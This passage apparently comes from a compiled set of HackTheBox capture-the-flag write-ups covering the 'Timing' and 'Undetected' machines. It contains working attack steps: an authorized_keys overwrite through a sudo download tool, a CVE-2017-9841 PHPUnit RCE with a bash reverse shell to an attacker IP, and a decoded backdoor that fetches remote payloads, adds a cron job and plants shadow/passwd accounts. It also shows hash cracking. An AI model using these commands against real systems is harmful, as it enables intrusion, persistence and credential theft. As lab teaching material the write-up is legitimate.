└─# mv index.html tmp/
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# cd tmp/                                                                                                          
┌──(root💀kali)-[~/hackthebox/machine/timing/tmp]
└─# ls
index.html
┌──(root💀kali)-[~/hackthebox/machine/timing/tmp]
└─# python -m SimpleHTTPServer 80                                                                                    
Serving HTTP on 0.0.0.0 port 80 ...
10.10.11.135 - - [18/Dec/2021 17:16:37] "GET / HTTP/1.0" 200 -
10.10.11.135 - - [18/Dec/2021 17:16:38] "GET / HTTP/1.0" 200 -
```

``` bash
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.30/
Initializing download: http://10.10.14.30/
File size: 563 bytes
Opening output file /root/.ssh/authorized_keys
Server unsupported, starting from scratch with one connection.
Starting download


Downloaded 563 byte in 0 seconds. (0.69 KB/s)
```

and we are root now

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# ssh -i id_rsa root@10.10.11.135
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Dec 18 17:33:24 UTC 2021

  System load:  0.04              Processes:           173
  Usage of /:   48.9% of 4.85GB   Users logged in:     1
  Memory usage: 10%               IP address for eth0: 10.10.11.135
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Dec  7 12:08:29 2021
root@timing:~# id
uid=0(root) gid=0(root) groups=0(root)
root@timing:~# whoami
root
root@timing:~# cat root.txt 
59f6feb7623ce66e648e736cd3958e24
root@timing:~# cat /etc/shadow | grep root
root:$6$94dEO.yJ$NVRpUQ0JnWZJKDRr//hnXKGJeiXCVSYkdlxYt7UgkvIr/3z8pkQwoEd67QtnWALkGV9A.C8T3hGtxUeZIH7ZW.:18826:0:99999:7:::
```

#### privesclation via WGET (FTP)

There's another method to do the same thing, but with WGET (FTP). This can be done by wgetrc

 - [Wgetrc Commands (GNU Wget 1.21.1-dirty Manual)](https://www.gnu.org/software/wget/manual/html_node/Wgetrc-Commands.html)

``` bash
aaron@timing:~$ cat .wgetrc
output_document = /root/.ssh/authorized_keys
```

Create a wget configuration file in 'aaron' users home directory. Setup a FTP server on Kali Linux.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# python3 -m pyftpdlib -p 21
[I 2021-12-18 18:35:02] concurrency model: async
[I 2021-12-18 18:35:02] masquerade (NAT) address: None
[I 2021-12-18 18:35:02] passive ports: None
[I 2021-12-18 18:35:02] >>> starting FTP server on 0.0.0.0:21, pid=6362 <<<
```

Make sure you have authorized_keys file and start a python FTP severe.

``` bash
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 0
Enter Url+File: 10.10.14.30/authorized_keys
```

``` bash
[I 2021-12-18 18:36:43] 10.10.11.135:35200-[anonymous] USER 'anonymous' logged in.
[I 2021-12-18 18:36:47] 10.10.11.135:35200-[anonymous] RETR /root/hackthebox/machine/timing/authorized_keys completed=1 bytes=562 seconds=0.004
[I 2021-12-18 18:36:47] 10.10.11.135:35200-[anonymous] FTP session closed (disconnect).
```

After this, you can login via SSH from Kali Linux.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# ssh -i id_rsa root@10.10.11.135
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Dec 18 18:40:23 UTC 2021

  System load:  0.02              Processes:           170
  Usage of /:   48.9% of 4.85GB   Users logged in:     0
  Memory usage: 11%               IP address for eth0: 10.10.11.135
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Dec 18 18:14:36 2021 from 10.10.14.30
root@timing:~# id
uid=0(root) gid=0(root) groups=0(root)
root@timing:~# whoami
root
root@timing:~# cat root.txt
59f6feb7623ce66e648e736cd3958e24
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2121.jpg)

#### Summary of knowledge

 - dir brute with gobuster
 - LFI bypass with php://filter
 - get file upload shell name using PHP interactive shell check the response time and match the time with PHP hash
 - .git leak ssh password
 - Privilege Escalation through shell script
 - pspy find suspicious process

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end timing -->

</details>

<a id="case-undetected"></a>

## 异常二进制与共享库后门

PHPUnit 提供入口，随后以文件修改时间定位可疑程序和共享库。Base64、字节序与 XOR 的还原过程来自原逆向记录。

<p class="kb-provenance">来源 undetected · 原记录 2022-02-24 · 31 个代码块 · 10 处图片引用</p>

<details class="kb-evidence" id="record-undetected">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start undetected -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	19 Feb 2022
IP:	10.10.11.146

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2155.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.11.146
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
```

We have two open ports. Let’s look into web.

Web Page has a link pointing to a vhost.

``` bash
<li class="menu-item"><a href="http://store.djewelry.htb">STORE</a></li>
```

Let’s add hostname and vhost to our hosts file and access vhost.

This page has login feature and we can add jewelry to our cart. However, if try to access login/account it will give you this below message.

``` bash
NOTICE

Due to a website migration we are currently not taking any online orders. Contact us if you wish to make a purchase
```

Let’s do a directory brute force.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# gobuster dir -u 'http://store.djewelry.htb/' -t 30 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -b 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://store.djewelry.htb/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/23 20:09:42 Starting gobuster in directory enumeration mode
===============================================================
/js                   (Status: 301) [Size: 321] [--> http://store.djewelry.htb/js/]
/images               (Status: 301) [Size: 325] [--> http://store.djewelry.htb/images/]
/css                  (Status: 301) [Size: 322] [--> http://store.djewelry.htb/css/]   
/fonts                (Status: 301) [Size: 324] [--> http://store.djewelry.htb/fonts/] 
/.                    (Status: 200) [Size: 6215]
/fonts                (Status: 301) [Size: 324] [--> http://store.djewelry.htb/fonts/]
/vendor               (Status: 301) [Size: 325] [-->
```

We have ‘vendor’ directory which we can look into it first.

We have lot of directory’s. Out of all, ‘phpunit’ leads to foothold.

***PHPUnit is a programmer-oriented testing framework for PHP. It is an instance of the xUnit architecture for unit testing frameworks.***

``` bash
http://store.djewelry.htb/vendor/phpunit/phpunit/
```

As you can see from the above list of change logs, the last version is 5.6 and if we check the readme file, it gives us the date of release.

This version is quite old. If we check for any vulnerabilities of this version then we’d find CVE-2017-9841

 - [CVE-2017-9841](https://www.cvedetails.com/cve/CVE-2017-9841/)

This version has an RCE. Vulnerability is located in /phpunit/src/Util/PHP/eval-stdin.php file. Below is the vulnerable code.

``` bash
eval('?>'.file_get_contents('php://input'));
```

This can be used to run arbitrary code. Let’s try to run a simple payload which evaluates and gives the value of ‘Pi’.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# curl --data "<?php echo(pi());" http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
3.1415926535898
```

As you can see, we got the value of Pi.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# curl --data "<?php system("whoami");" http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
www-data
                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# curl --data "<?php system("id");" http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

This can also possible with Burp Suite.

We have working RCE.

Let’s get a reverse shell. Setup a listener and run bash one-liner.

``` bash
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: store.djewelry.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 78


<?php system('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.2/1234 0>&1"')?>
```

Let’s see how many user have shell access.

``` bash
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ grep 'bash' /etc/passwd
<punit/phpunit/src/Util/PHP$ grep 'bash' /etc/passwd                    
root:x:0:0:root:/root:/bin/bash
steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash
steven1:x:1000:1000:,,,:/home/steven:/bin/bash
```

We have three users. But If we check ‘home’ directory.

``` bash
www-data@production:/home$ ls
steven
```

We will find only one users directory here. Not sure what’s happening here. Let’s find any escalation points. Let’s run Linpeas.

``` bash
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in
Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
uniq: write error: Broken pipe
/dev/mqueue
/dev/shm
/run/lock
/run/lock/apache2
/run/screen
/tmp
/tmp/linpeas.sh
/tmp/pspy
/tmp/tmux-33
/var/backups/info
```

Linpeas reveal an interesting file which is owned by www-data. It’s in backups directory. Let’s investigate that file.

``` bash
www-data@production:/home$ file /var/backups/info
/var/backups/info: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped
```

It’s a binary. If we run strings on it, then we’d find this hex value.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# strings info                                                                             
.......
[-] setsockopt(PACKET_VERSION)
[-] setsockopt(PACKET_RX_RING)
[-] socket(AF_PACKET)
[-] bind(AF_PACKET)
[-] sendto(SOCK_RAW)
[-] socket(SOCK_RAW)
[-] socket(SOCK_DGRAM)
[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)
[-] klogctl(SYSLOG_ACTION_READ_ALL)
Freeing SMP
[-] substring '%s' not found in dmesg
ffff
/bin/bash
776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b
[-] fork()
/etc/shadow
[.] checking if we got root
[-] something went wrong =(
[+] got r00t ^_^
[-] unshare(CLONE_NEWUSER)
......
```

Let’s convert this hex to ascii.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# echo '776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b' | xxd -r -p
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;
```

We have bash command which’s doing downloading and appending. We also have a password hash. There are slashes to escape $ character, remove those and crack it.

``` bash
hashcat.exe -a 0 -m 1800 password.txt rockyou.txt

$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:ihatehackers

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: $6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwb...Q0T9n/
Time.Started.....: Thu Feb 24 09:37:14 2022 (1 sec)
Time.Estimated...: Thu Feb 24 09:37:15 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    55466 H/s (13.14ms) @ Accel:256 Loops:256 Thr:64 Vec:1
Speed.#3.........:      784 H/s (13.65ms) @ Accel:64 Loops:8 Thr:128 Vec:1
Speed.#*.........:    56250 H/s
Recovered........: 1/1 (100.00%) Digests
Progress.........: 81920/14344385 (0.57%)
Rejected.........: 0/81920 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4864-5000
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:704-712
Candidate.Engine.: Device Generator
Candidates.#1....: compu -> KATKAT
Candidates.#3....: 123456 -> whitetiger
Hardware.Mon.#1..: Temp: 58c Util: 86% Core: 549MHz Mem:2232MHz Bus:8
Hardware.Mon.#3..: N/A
```

We got the password. Let’s try to use it on one of the two stevens account.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# ssh steven@undetected.htb
The authenticity of host 'undetected.htb (10.10.11.146)' can't be established.
ED25519 key fingerprint is SHA256:nlNVR+zv5C+jYiWJYQ8BwBjs3pDuXfYSUK17IcTTvTs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'undetected.htb' (ED25519) to the list of known hosts.
steven@undetected.htb's password: 
Permission denied, please try again.
steven@undetected.htb's password: 

                                                                                                                                              
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# ssh steven1@undetected.htb                                                                                                          130 ⨯
steven1@undetected.htb's password: 
steven@production:~$ id
uid=1000(steven) gid=1000(steven) groups=1000(steven)
steven@production:~$ whoami
steven
steven@production:~$ cat user.txt 
bc73c6098897d8437244705ce525923d
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2156.jpg)

#### get root

Password worked on ‘steven1’ user, not ‘steven’. When we ran Linpeas first time, it gave this below information about mail.

``` bash
╔══════════╣ Mails (limit 50)
17793 4 -rw-rw---- 1 steven mail 966 Jul 25 2021
/var/mail/steven
17793 4 -rw-rw---- 1 steven mail 966 Jul 25 2021
/var/spool/mail/steven
```

www-data didn’t have permission to read, but now we have. Let’s read it.

``` bash
steven@production:~$ cat /var/mail/steven
From root@production  Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1])
        by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
        for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost)
        by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
        Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations

Hi Steven.

We recently updated the system but are still experiencing some strange behaviour with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.

Thanks,
sysadmin
```

This mail mentions about ‘Apache Service’ is acting strangely, so they have moved DB to somewhere else. Apache service directory is located in ‘/usr/lib’.

``` bash
steven@production:~$ ls -la /usr/lib/apache2/
total 28
drwxr-xr-x  3 root root  4096 Jul  5  2021 .
drwxr-xr-x 82 root root  4096 Feb  8 19:59 ..
drwxr-xr-x  2 root root 20480 Jan 28 21:05 modules
```

We have read and execute access. Let’s look into that ‘modules’ directory.

``` bash
steven@production:/usr/lib/apache2/modules$ ls
httpd.exp               mod_autoindex.so       mod_ext_filter.so           mod_mpm_worker.so      mod_session.so
libphp7.4.so            mod_brotli.so          mod_file_cache.so           mod_negotiation.so     mod_session_cookie.so
mod_access_compat.so    mod_bucketeer.so       mod_filter.so               mod_proxy.so           mod_session_crypto.so
mod_actions.so          mod_buffer.so          mod_headers.so              mod_proxy_ajp.so       mod_session_dbd.so
mod_alias.so            mod_cache.so           mod_heartbeat.so            mod_proxy_balancer.so  mod_setenvif.so
mod_allowmethods.so     mod_cache_disk.so      mod_heartmonitor.so         mod_proxy_connect.so   mod_slotmem_plain.so
mod_asis.so             mod_cache_socache.so   mod_http2.so                mod_proxy_express.so   mod_slotmem_shm.so
mod_auth_basic.so       mod_case_filter.so     mod_ident.so                mod_proxy_fcgi.so      mod_socache_dbm.so
mod_auth_digest.so      mod_case_filter_in.so  mod_imagemap.so             mod_proxy_fdpass.so    mod_socache_memcache.so
mod_auth_form.so        mod_cern_meta.so       mod_include.so              mod_proxy_ftp.so       mod_socache_redis.so
mod_authn_anon.so       mod_cgi.so             mod_info.so                 mod_proxy_hcheck.so    mod_socache_shmcb.so
mod_authn_core.so       mod_cgid.so            mod_lbmethod_bybusyness.so  mod_proxy_html.so      mod_speling.so
mod_authn_dbd.so        mod_charset_lite.so    mod_lbmethod_byrequests.so  mod_proxy_http.so      mod_ssl.so
mod_authn_dbm.so        mod_data.so            mod_lbmethod_bytraffic.so   mod_proxy_http2.so     mod_status.so
mod_authn_file.so       mod_dav.so             mod_lbmethod_heartbeat.so   mod_proxy_scgi.so      mod_substitute.so
mod_authn_socache.so    mod_dav_fs.so          mod_ldap.so                 mod_proxy_uwsgi.so     mod_suexec.so
mod_authnz_fcgi.so      mod_dav_lock.so        mod_log_debug.so            mod_proxy_wstunnel.so  mod_unique_id.so
mod_authnz_ldap.so      mod_dbd.so             mod_log_forensic.so         mod_ratelimit.so       mod_userdir.so
mod_authz_core.so       mod_deflate.so         mod_lua.so                  mod_reader.so          mod_usertrack.so
mod_authz_dbd.so        mod_dialup.so          mod_macro.so                mod_reflector.so       mod_vhost_alias.so
mod_authz_dbm.so        mod_dir.so             mod_md.so                   mod_remoteip.so        mod_xml2enc.so
mod_authz_groupfile.so  mod_dumpio.so          mod_mime.so                 mod_reqtimeout.so
mod_authz_host.so       mod_echo.so            mod_mime_magic.so           mod_request.so
mod_authz_owner.so      mod_env.so             mod_mpm_event.so            mod_rewrite.so
mod_authz_user.so       mod_expires.so         mod_mpm_prefork.so          mod_sed.so
```

There are two many file, let’s sort them based on creation time.

``` bash
steven@production:/usr/lib/apache2/modules$ ls --full-time -i | sort -u
 2050 -rw-r--r-- 1 root root   34800 2021-05-17 07:10:04.000000000 +0000 mod_reader.so
 5093 -rw-r--r-- 1 root root 4625776 2021-11-25 23:16:22.000000000 +0000 libphp7.4.so
 7990 -rw-r--r-- 1 root root   15925 2022-01-05 14:49:56.000000000 +0000 httpd.exp
 7997 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_access_compat.so
 8000 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_actions.so
 8002 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_alias.so
 8004 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_allowmethods.so
 8006 -rw-r--r-- 1 root root   14464 2022-01-05 14:49:56.000000000 +0000 mod_asis.so
 8008 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_auth_basic.so
 8010 -rw-r--r-- 1 root root   39120 2022-01-05 14:49:56.000000000 +0000 mod_auth_digest.so
 8013 -rw-r--r-- 1 root root   35024 2022-01-05 14:49:56.000000000 +0000 mod_auth_form.so
 8015 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authn_anon.so
 8017 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authn_core.so
 8019 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authn_dbd.so
 8021 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authn_dbm.so
 8023 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authn_file.so
 8024 -rw-r--r-- 1 root root   22768 2022-01-05 14:49:56.000000000 +0000 mod_authn_socache.so
 8025 -rw-r--r-- 1 root root   35024 2022-01-05 14:49:56.000000000 +0000 mod_authnz_fcgi.so
 8026 -rw-r--r-- 1 root root   55528 2022-01-05 14:49:56.000000000 +0000 mod_authnz_ldap.so
 8027 -rw-r--r-- 1 root root   30928 2022-01-05 14:49:56.000000000 +0000 mod_authz_core.so
 8028 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authz_dbd.so
 8029 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authz_dbm.so
 8030 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authz_groupfile.so
 8031 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authz_host.so
 8032 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authz_owner.so
 8033 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_authz_user.so
 8035 -rw-r--r-- 1 root root   43216 2022-01-05 14:49:56.000000000 +0000 mod_autoindex.so
 8036 -rw-r--r-- 1 root root   22736 2022-01-05 14:49:56.000000000 +0000 mod_brotli.so
 8037 -rw-r--r-- 1 root root   14464 2022-01-05 14:49:56.000000000 +0000 mod_bucketeer.so
 8038 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_buffer.so
 8039 -rw-r--r-- 1 root root   80176 2022-01-05 14:49:56.000000000 +0000 mod_cache.so
 8040 -rw-r--r-- 1 root root   39120 2022-01-05 14:49:56.000000000 +0000 mod_cache_disk.so
 8041 -rw-r--r-- 1 root root   39152 2022-01-05 14:49:56.000000000 +0000 mod_cache_socache.so
 8042 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_case_filter.so
 8043 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_case_filter_in.so
 8044 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_cern_meta.so
 8045 -rw-r--r-- 1 root root   30928 2022-01-05 14:49:56.000000000 +0000 mod_cgi.so
 8046 -rw-r--r-- 1 root root   43216 2022-01-05 14:49:56.000000000 +0000 mod_cgid.so
 8047 -rw-r--r-- 1 root root   26832 2022-01-05 14:49:56.000000000 +0000 mod_charset_lite.so
 8048 -rw-r--r-- 1 root root   14464 2022-01-05 14:49:56.000000000 +0000 mod_data.so
 8049 -rw-r--r-- 1 root root  104656 2022-01-05 14:49:56.000000000 +0000 mod_dav.so
 8050 -rw-r--r-- 1 root root   59600 2022-01-05 14:49:56.000000000 +0000 mod_dav_fs.so
 8051 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_dav_lock.so
 8054 -rw-r--r-- 1 root root   26832 2022-01-05 14:49:56.000000000 +0000 mod_dbd.so
 8055 -rw-r--r-- 1 root root   39120 2022-01-05 14:49:56.000000000 +0000 mod_deflate.so
 8056 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_dialup.so
 8057 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_dir.so
 8058 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_dumpio.so
 8059 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_echo.so
 8062 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_env.so
 8064 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_expires.so
 8082 -rw-r--r-- 1 root root   26832 2022-01-05 14:49:56.000000000 +0000 mod_ext_filter.so
 8083 -rw-r--r-- 1 root root   14592 2022-01-05 14:49:56.000000000 +0000 mod_file_cache.so
 8084 -rw-r--r-- 1 root root   22736 2022-01-05 14:49:56.000000000 +0000 mod_filter.so
 8085 -rw-r--r-- 1 root root   30928 2022-01-05 14:49:56.000000000 +0000 mod_headers.so
 8092 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_heartbeat.so
 8093 -rw-r--r-- 1 root root   30928 2022-01-05 14:49:56.000000000 +0000 mod_heartmonitor.so
 8094 -rw-r--r-- 1 root root  253632 2022-01-05 14:49:56.000000000 +0000 mod_http2.so
 8095 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_ident.so
 8096 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_imagemap.so
 8097 -rw-r--r-- 1 root root   55504 2022-01-05 14:49:56.000000000 +0000 mod_include.so
